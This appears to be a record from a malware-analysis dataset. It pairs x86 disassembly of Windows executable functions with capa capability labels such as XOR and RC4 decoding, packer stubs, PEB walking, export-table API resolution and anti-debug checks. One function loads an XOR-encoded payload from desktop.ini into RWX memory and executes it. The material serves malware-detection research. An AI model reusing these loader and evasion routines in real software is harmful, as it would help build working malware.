joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1014e822
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x168
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [0x10156924], 0x260a
mov edx, ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], ecx
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x134]
lea edx, section..data
imul esi, eax, 0x64
mov edi, edx
add edi, esi
add edi, 0x54
mov esi, dword [edi]
imul edi, eax, 0x64
add edx, edi
add edx, 4
movzx edx, word [edx]
xor edx, esi
add edx, ecx
add eax, 1
cmp eax, 0xe4
mov ecx, edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
jne 0x1014e851
lea eax, [0x10150051]
mov ecx, 0xe
lea edx, [ebp - 0x12c]
mov dword [0x10156928], 0x1461
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x144], ecx
call fcn.1014e190
mov dword [0x10156924], 0x79e
call fcn.1014dfd9
mov dword [esp], eax
mov eax, dword [ebp - 0x140]
mov dword [esp + 4], eax
call fcn.1014eccf
mov dword [0x10156944], eax
mov ecx, dword [0x10156924]
add ecx, 0xffffe40e
mov dword [0x10156928], ecx
mov ecx, esp
mov edx, dword [ebp - 0x13c]
mov dword [ecx + 4], edx
mov dword [ecx + 0xc], 4
mov dword [ecx + 8], 0x1000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x10156924]
add ecx, 0xfffffbd2
mov dword [0x10156924], ecx
mov dword [ebp - 0x148], eax
xor eax, eax
mov ecx, eax
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0x150], eax
jmp 0x1014e96b
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x14c]
lea edx, section..data
imul esi, eax, 0x64
mov edi, edx
add edi, esi
add edi, 0x54
mov esi, dword [edi]
imul edi, eax, 0x64
mov ebx, edx
add ebx, edi
mov edi, dword [ebx]
imul ebx, eax, 0x64
add edx, ebx
add edx, 4
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x148]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x158], ecx
mov dword [ebp - 0x15c], edx
call fcn.1014e43d
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x158]
add eax, ecx
mov edx, dword [ebp - 0x154]
add edx, 1
cmp edx, 0xe4
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x150], edx
jne 0x1014e96b
lea eax, [0x1015005f]
mov ecx, 0x20
lea edx, [ebp - 0x10c]
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x20
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x164], ecx
call fcn.1014ee1f
mov eax, dword [ebp - 0x160]
mov dword [esp], eax
mov ecx, dword [ebp - 0x148]
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov edx, dword [ebp - 0x13c]
mov dword [esp + 0xc], edx
call fcn.1014e694
xor eax, eax
mov ecx, dword [0x10156924]
add ecx, 0x1d8e
mov dword [0x10156924], ecx
mov ecx, dword [ebp - 0x148]
add ecx, 0x30648
mov edx, dword [ebp - 0x130]
mov dword [edx], ecx
mov dword [edx + 4], 0x111600
mov ecx, dword [ebp - 0x148]
add ecx, 0x87b2
mov dword [edx + 8], ecx
mov dword [edx + 0xc], 0x1f40
mov ecx, dword [0x10156924]
add ecx, 0x1a21
mov dword [0x10156924], ecx
add esp, 0x168
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1014eac3
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x44
mov eax, dword [ebp + 8]
mov dword [0x10156924], 0x1994
mov dword [ebp - 0x10], eax
call fcn.1014e4e5
mov ecx, eax
mov edx, dword [eax + 0x3c]
mov edx, dword [eax + edx + 0x78]
mov dword [0x10156924], 0x2010
mov esi, ecx
add esi, dword [eax + edx + 0x20]
mov eax, edx
add eax, 0x18
mov edi, ecx
add edi, eax
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], edi
xor eax, eax
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx]
cmp edx, 0
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], eax
je 0x1014ec0e
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
xor edx, edx
mov esi, dword [ebp - 0x1c]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
mov ecx, eax
mov edx, dword [ebp - 0x3c]
add ecx, edx
mov esi, dword [ebp - 0x18]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x45], bh
mov byte [ebp - 0x46], cl
je 0x1014ebb8
mov eax, dword [ebp - 0x44]
add eax, 1
mov cl, byte [ebp - 0x45]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x46]
and ch, dl
cmp eax, 0x20
setb dl
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x4d], ch
mov byte [ebp - 0x4e], dl
mov al, byte [ebp - 0x4d]
mov cl, byte [ebp - 0x4e]
and al, cl
test al, 1
mov edx, dword [ebp - 0x4c]
mov dword [ebp - 0x40], edx
jne 0x1014eb56
mov al, byte [ebp - 0x46]
test al, 1
jne 0x1014ebeb
jmp 0x1014ebc1
xor eax, eax
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov edx, dword [ebp - 0x38]
add edx, 2
mov esi, dword [ebp - 0x24]
cmp ecx, esi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], eax
jb 0x1014eb3c
jmp 0x1014ec0e
mov eax, dword [ebp - 0x38]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x14]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x18]
add edi, dword [edx + ecx*4]
mov dword [0x10156928], 0x2690
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x28]
add esp, 0x44
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1014ee1f
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x10156930], 0
mov byte [0x10156934], 0
mov edi, dword [0x10156924]
add edi, 0xfffffac9
mov dword [0x10156928], edi
mov dword [0x1015692c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x10156924], 0x1cb3
mov eax, dword [0x1015692c]
add eax, 1
mov dword [0x1015692c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1014ee6c
mov dword [0x10156924], 0x1549
xor eax, eax
mov dword [0x1015692c], 0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x10156938], 0
mov edx, dword [0x10156930]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x10156938], edi
mov dword [0x10156924], 0x15b
mov eax, edi
cdq
idiv ecx
mov dword [0x10156930], edx
mov dword [0x10156928], 0xffffff07
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x10156934], cl
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov ecx, dword [0x10156928]
add ecx, 0xffffdd45
mov dword [0x10156924], ecx
mov cl, byte [0x10156934]
mov edx, dword [0x10156930]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov edx, dword [0x1015692c]
add edx, 1
mov dword [0x1015692c], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x1014eeb5
mov dword [0x10156928], 0x18f5
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1014ef80
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [0x10150051]
mov esi, 0xe
lea edi, [ebp - 0x2c]
mov dword [0x10156928], 0x2337
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], 0xe
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x3c], esi
call fcn.1014e190
mov dword [0x10156924], 0x79e
call fcn.1014dfd9
mov dword [esp], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
call fcn.1014eccf
cmp eax, 0
sete bl
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x41], bl
xor eax, eax
mov cl, byte [ebp - 0x41]
test cl, 1
mov dword [ebp - 0x48], eax
jne 0x1014f0ba
jmp 0x1014f006
mov eax, dword [ebp - 0x40]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x10156928], 0x1985
mov dword [esp], eax
mov ecx, dword [ebp - 0x30]
mov dword [esp + 4], ecx
mov dword [ebp - 0x4c], eax
call fcn.1014f2ec
xor eax, eax
mov ecx, dword [0x10156924]
mov edx, dword [ebp - 0x4c]
mov word [edx], 0x5a4d
add ecx, 0xffffda01
mov dword [0x10156924], ecx
mov dword [edx + 0x3c], 0xc0
mov dword [edx + 0xc0], 0x4550
add edx, 0xffc00000
mov dword [0x10156928], 0x2259
mov ecx, dword [ebp - 0x34]
mov dword [ecx + 0x3c], edx
mov edx, dword [ebp - 0x4c]
mov dword [ecx + 0x44], edx
cmp edx, 0
mov dword [ebp - 0x48], eax
je 0x1014f0ba
mov eax, dword [ebp - 0x4c]
add eax, 0x218b
mov dword [0x10156924], 0x6f0
mov dword [0x10156928], 0x23bd
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
add esp, 0x50
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1014f0c5
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xa0
call fcn.10001088
cmp eax, 0
sete cl
mov byte [esp + 0x2f], cl
xor eax, eax
mov cl, byte [esp + 0x2f]
test cl, 1
mov dword [esp + 0x28], eax
jne 0x1014f0f7
jmp 0x1014f267
lea eax, [esp + 0x40]
mov dword [0x10156924], 0x2038
mov dword [0x10156928], 0x2318
mov dword [esp + 0x24], eax
call fcn.1014f3ec
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x20], ecx
jne 0x1014f25f
lea eax, [esp + 0x30]
mov dword [esp], eax
call fcn.1014e822
lea ecx, [0x1014f271]
mov edx, dword [0x10156928]
mov esi, dword [esp + 0x30]
mov dword [esp + 0x54], esi
mov dword [esp + 0x58], 0x111600
mov esi, dword [0x10156910]
mov dword [esp + 0x68], esi
mov esi, dword [0x10156914]
mov dword [esp + 0x64], esi
mov esi, dword [0x10156918]
mov dword [esp + 0x40], esi
mov esi, dword [0x1015691c]
mov dword [esp + 0x5c], esi
mov esi, dword [0x10156920]
mov dword [esp + 0x48], esi
add edx, 0xfffff8dd
mov dword [0x10156924], edx
mov dword [0x10156928], 0x22a3
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ecx
jne 0x1014f1d0
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 8], ecx
je 0x1014f1f8
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov ecx, dword [esp + 0xc]
add ecx, 0xffffdab2
mov dword [0x10156924], ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], eax
jmp 0x1014f1a5
lea eax, [esp + 0x40]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x50], ecx
mov dword [0x10156928], 0x1c92
mov dword [0x10156924], 0x14d5
mov edx, dword [esp + 8]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x94], esi
mov esi, dword [esp + 0x38]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.1014ef80
mov ecx, dword [0x10156928]
add ecx, 0x1f82
mov dword [0x10156924], ecx
mov ecx, esp
lea edx, [esp + 0x40]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x28]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x1014f3ec
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 4], 0
mov dword [0x10156924], 0xe24
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 0x10
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], ecx
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
je 0x1014f478
jmp 0x1014f457
mov dword [0x10156924], 0x177
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1014f54a
mov dword [0x10156928], 0xd66
mov eax, dword [ebp - 0x18]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], eax
jl 0x1014f42b
mov eax, dword [ebp - 0x1c]
mov dword [0x10156924], 0xf30
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x24], eax
jne 0x1014f443
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
mov dx, word [eax + ecx*2 - 0x18]
mov word [ebp - 0x26], dx
mov ax, word [ebp - 0x26]
cmp ax, 0x6f
jne 0x1014f443
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x1014f443
mov dword [0x10156924], 0x15e2
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x1014f443
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff7
shl eax, 1
mov ecx, dword [ebp - 0x10]
add ecx, eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
cmp word [eax], 0x64
jne 0x1014f443
mov dword [0x10156924], 0x1882
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x1014f443
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2 - 0xe], 0x6c
sete dl
mov byte [ebp - 0x2d], dl
mov al, byte [ebp - 0x2d]
test al, 1
jne 0x1014f536
jmp 0x1014f443
mov dword [0x10156928], 0xfeb
mov eax, 1
mov dword [ebp - 0x20], eax
jmp 0x1014f54a
mov eax, dword [ebp - 0x20]
add esp, 0x30
pop ebp
ret
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x432072
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x1c8d3a29
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x432060
nop
mov eax, section..text_1
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4320d2
nop
nop
nop
mov ebx, 0x42f314
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x292b02a9
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x4320c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x402a14
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc00
pushal
mov eax, 0xfffefdfc
mov ecx, 0x40
mov dword [ebp + ecx*4 - 0x404], eax
sub eax, 0x4040404
dec ecx
jne 0x402a28
xor eax, eax
mov edi, dword [ebp + 8]
xor ebx, ebx
mov esi, dword [ebp + 0xc]
jmp 0x402a48
inc bl
dec esi
je 0x402a3c
mov dl, byte ss:[ecx + ebp - 0x400]
add al, byte [ebx + edi]
add al, dl
mov dh, byte ss:[eax + ebp - 0x400]
mov byte ss:[ecx + ebp - 0x400], dh
mov byte ss:[eax + ebp - 0x400], dl
inc cl
jne 0x402a43
mov edi, dword [ebp + 0x14]
mov esi, dword [ebp + 0x10]
test edi, edi
je 0x402ac7
xor eax, eax
xor edx, edx
xor ecx, ecx
xor ebx, ebx
inc bl
mov dl, byte ss:[ebx + ebp - 0x400]
add al, dl
mov cl, byte ss:[eax + ebp - 0x400]
mov byte ss:[ebx + ebp - 0x400], cl
mov byte ss:[eax + ebp - 0x400], dl
add cl, dl
mov cl, byte ss:[ecx + ebp - 0x400]
xor byte [esi], cl
inc esi
dec edi
jne 0x402a83
xor eax, eax
lea edi, [ebp - 0x400]
mov ecx, 0x40
cld
rep stosd dword es:[edi], eax
popal
leave
ret 0x10

Function at 0x402d09
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffaf4
push ebx
push edi
push esi
lea eax, [ebp - 0x50c]
push eax
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00402acc
lea edx, [ebp - 0x50c]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0xc]
mov ebx, dword [eax + 0x10]
mov esi, dword [esi]
mov edi, dword [esi + 0x30]
xor ecx, ecx
cmp byte [ecx + edx], 0
je 0x402dd3
mov al, byte [edi]
mov ah, al
cmp al, 0x5a
jae 0x402d59
sub ah, 0x20
jmp 0x402d5c
add ah, 0x20
cmp byte [ecx + edx], al
je 0x402d68
cmp byte [ecx + edx], ah
je 0x402d68
jmp 0x402d6e
add edi, 2
inc ecx
jmp 0x402d42
cmp esi, ebx
jne 0x402d3b
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x50c]
push eax
call fcn.00402c3c
mov word [ebp - 8], ax
mov word [ebp - 6], ax
add word [ebp - 6], 2
lea eax, [ebp - 0x108]
mov dword [ebp - 4], eax
mov dword [ebp - 0x10c], 0
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push str.ntdll.dll
call fcn.00402d09
push str.LdrLoadDll
push eax
call fcn.00402ddd
call eax
mov eax, dword [ebp - 0x10c]
jmp 0x402dd6
mov eax, dword [esi + 0x18]
pop esi
pop edi
pop ebx
leave
ret 4
Function at 0x402ddd
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa68
push ebx
push edi
push esi
lea eax, [ebp - 0x598]
push eax
push 0xffffffffffffffff
push dword [ebp + 0xc]
call fcn.00402acc
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x3c]
mov dx, word [eax + esi + 0x18]
cmp dx, 0x20b
jne 0x402e1c
mov edx, dword [eax + esi + 0x88]
mov ecx, dword [eax + esi + 0x8c]
jmp 0x402e24
mov edx, dword [eax + esi + 0x78]
mov ecx, dword [eax + esi + 0x7c]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], ecx
or eax, eax
je 0x402ec7
lea eax, [edx + esi]
mov edx, dword [eax + 0x18]
mov dword [ebp - 4], edx
mov edx, dword [eax + 0x1c]
mov dword [ebp - 8], edx
add dword [ebp - 8], esi
mov edx, dword [eax + 0x20]
mov dword [ebp - 0xc], edx
add dword [ebp - 0xc], esi
mov edx, dword [eax + 0x24]
mov dword [ebp - 0x10], edx
add dword [ebp - 0x10], esi
xor ebx, ebx
mov edi, dword [ebp - 0xc]
jmp 0x402ec2
mov eax, dword [edi + ebx*4]
add eax, esi
lea edx, [ebp - 0x598]
push edx
push eax
call fcn.00402bdb
or eax, eax
je 0x402ec1
mov edx, dword [ebp - 0x10]
mov ax, word [edx + ebx*2]
mov edx, dword [ebp - 8]
mov eax, dword [edx + eax*4]
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
add edx, esi
add eax, esi
add ecx, edx
cmp eax, edx
jbe 0x402ebf
cmp eax, ecx
ja 0x402ebf
mov esi, eax
mov edi, eax
mov al, 0x2e
repne scasb al, byte es:[edi]
sub edi, esi
mov ecx, edi
lea edi, [ebp - 0x198]
rep movsb byte es:[edi], byte [esi]
mov byte [edi - 1], 0
lea eax, [ebp - 0x198]
push eax
call fcn.00402d09
push esi
push eax
call fcn.00402ddd
jmp 0x402ec9
inc ebx
cmp ebx, dword [ebp - 4]
jb 0x402e5d
xor eax, eax
pop esi
pop edi
pop ebx
leave
ret 8

Function at 0x402ed0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push edi
push esi
push 0
push 0x80
push dword [ebp + 0x14]
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x402f27
push dword [ebp + 0x18]
push 0
push 0
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
pop esi
pop edi
pop ebx
leave
ret 0x14
Function at 0x40b290
Capabilities:
Access peb ldr_data
Check for peb ntglobalflag flag
Get number of processors
Get process heap flags
Get process heap force flags
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x4014d6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x50
push ebx
push esi
push edi
mov dword [ebp - 0xc], esp
mov dword [ebp - 8], 0x4011f8
xor edi, edi
lea eax, [ebp - 0x38]
push edi
push 0x402474
push eax
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x38], edi
call dword [fcn.004010ec]
lea ecx, [ebp - 0x38]
push ecx
call dword [fcn.004010ac]
lea edx, [ebp - 0x18]
push eax
push edx
call dword [fcn.00401068]
mov ebx, dword [fcn.00401014]
lea ecx, [ebp - 0x38]
call ebx
sub esp, 0x10
mov ecx, 8
mov edx, esp
mov eax, 0x402494
push 1
push 0x4024ec
mov dword [edx], ecx
mov ecx, dword [ebp - 0x44]
mov dword [edx + 4], ecx
mov ecx, dword [ebp - 0x18]
push ecx
mov dword [edx + 8], eax
mov eax, dword [ebp - 0x3c]
mov dword [edx + 0xc], eax
lea edx, [ebp - 0x38]
push edx
call dword [fcn.00401174]
add esp, 0x20
push eax
call dword [fcn.00401020]
mov esi, dword [fcn.0040117c]
mov edx, eax
lea ecx, [ebp - 0x20]
call esi
lea ecx, [ebp - 0x38]
call ebx
push 0x22
call dword [fcn.0040110c]
mov edx, eax
lea ecx, [ebp - 0x28]
call esi
mov edx, dword [ebp - 0x28]
push edi
push 0xffffffffffffffff
push 1
push 0x402500
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x28], edi
call esi
push eax
mov eax, dword [ebp - 0x20]
push eax
call dword [fcn.004010d8]
mov edx, eax
lea ecx, [ebp - 0x20]
call esi
lea ecx, [ebp - 0x28]
lea edx, [ebp - 0x24]
push ecx
push edx
push 2
call dword [fcn.00401140]
add esp, 0xc
push 1
mov eax, dword [ebp - 0x20]
push eax
push 0x402508
push 1
call dword [fcn.00401130]
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x38]
add eax, 3
push ecx
push 1
push edx
jo 0x40b43f
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x38], 3
call dword [fcn.0040107c]
mov edx, eax
lea ecx, [ebp - 0x20]
call esi
lea ecx, [ebp - 0x38]
call ebx
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x1c]
call dword [fcn.0040113c]
push 0x40b42b
jmp 0x40b418
lea ecx, [ebp - 0x18]
call dword [fcn.004011a4]
lea ecx, [ebp - 0x20]
call dword [int.004011a0]
ret
call dword [fcn.00401118]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x4020ed
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40212c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40212c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40212c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40212c
cmp dword [ecx + 0x74], 0xe
jbe 0x40212c
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10